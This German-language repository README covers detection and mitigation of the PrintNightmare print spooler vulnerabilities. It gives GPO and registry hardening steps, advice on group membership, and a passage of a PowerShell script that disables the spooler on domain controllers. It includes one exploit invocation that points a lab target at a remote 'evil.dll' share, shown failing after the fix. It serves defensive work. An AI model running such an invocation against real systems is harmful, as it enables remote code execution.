
CVE-2021-1675 Erkennungsinfo
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Dieses Repository enthält ein EVTX-Beispiel des CVE-2021-1675 & CVE-2021-34527-Angriffs sowie eine minimale Sysmon-Konfigurationsdatei, die zur Erzeugung der relevanten Telemetrie verwendet werden kann.
Bitte beachten Sie, dass diese Regeln umgangen werden können - patchen Sie entsprechend und deaktivieren Sie den Druckerspoolerdienst auf Domänencontrollern.
Bitte testen Sie alle empfohlenen Korrekturen, bevor Sie sie in der Produktion ausrollen, da es aufgrund dieser Härtungsänderungen zu unbeabsichtigten Konsequenzen kommen kann. Wir haben einen Blogbeitrag verfasst, der den Inhalt dieses Repos und die gefundenen Informationen erklärt. Hier: https://labs.lares.com/detection-and-mitigation-printnightmare/
Dank an Benjamin Delpy gibt es ein aktualisiertes Flussdiagramm zur Ausnutzbarkeit dieses Problems, um zu bestimmen, ob Ihre Systeme wahrscheinlich anfällig sind.

Sicherheitseinstellungen -> Systemdienste -> Druckspooler -> Deaktivieren
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computerkonfiguration -> Administrative Vorlagen -> Drucker -> Druckspooler Clientverbindungen akzeptieren -> Deaktivieren
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Drucker -> Punkt-und-Druck-Einschränkungen -> Sicherheitsabfragen -> Bei Installation von Treibern für eine neue Verbindung -> Warnung und Eingabeaufforderung anzeigen
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1Der von Microsoft im Juni 2021 veröffentlichte Patch patcht CVE-2021-1675, behebt aber leider nicht das als PrintNightmare (CVE-2021-34527) bekannte Problem. Daher kann eine Workaround-Korrektur durch Deaktivieren des Druckspoolerdienstes angewendet werden. Hier erfahren Sie, wie dies sowohl über GPO als auch PowerShell durchgeführt wird. Es wurde bestätigt, dass die GPO sowohl die MS-RPRN RpcAddPrinterDriverEx-Funktion als auch die Win32 AddPrinterDriverEx-Funktion, die SharpPrintNightmare verwendet, korrigiert.
Die folgende GPO kann festgelegt werden, um Clientverbindungen zum Spooler zu verweigern, was ein potenzieller Workaround ist, wenn die vollständige Deaktivierung des Spoolerdienstes keine Option ist. Dies wurde in einer Laborumgebung gegen Domänencontroller und Endpunkte (W7/W10) getestet, und Benutzer können weiterhin Drucker hinzufügen/entfernen und drucken, jedoch stoppt es die Ausnutzung. Hinweis: Es wird auch angenommen, dass diese GPO ebenfalls CVE-2021-34527 behebt, wie auf Microsofts Schwachstellenseite vermerkt.
Computerkonfiguration -> Administrative Vorlagen -> Drucker -> Druckspooler Clientverbindungen akzeptieren auf 'Deaktiviert' setzen:

Starten Sie dann den Spoolerdienst auf dem betroffenen Host neu. Wenn alles gut geht, wird dem Exploit der Zugriff verweigert:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Eine weitere Korrektur/Workaround besteht darin, authentifizierte Benutzer aus der Gruppe Pre-Windows 2000 Kompatibler Zugriff zu entfernen, wie von Dirk-jan entdeckt.

Stellen Sie sicher, dass die Gruppe "Authentifizierte Benutzer" kein Mitglied der Gruppe "Pre-Windows 2000 Kompatibler Zugriff" ist. (Standardmäßig sind diese Gruppen in aktuellen Windows-Versionen nicht enthalten.) Wie im folgenden Screenshot gezeigt, sollten keine Mitglieder vorhanden sein:

Wenn Sie unsicher sind, wie dies durchgeführt wird, können Sie die folgenden Schritte ausführen:
Angepasstes Skript von 0gtweet zur Verwendung von ADDomainController, um alle DCs aus der Domäne abzurufen
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}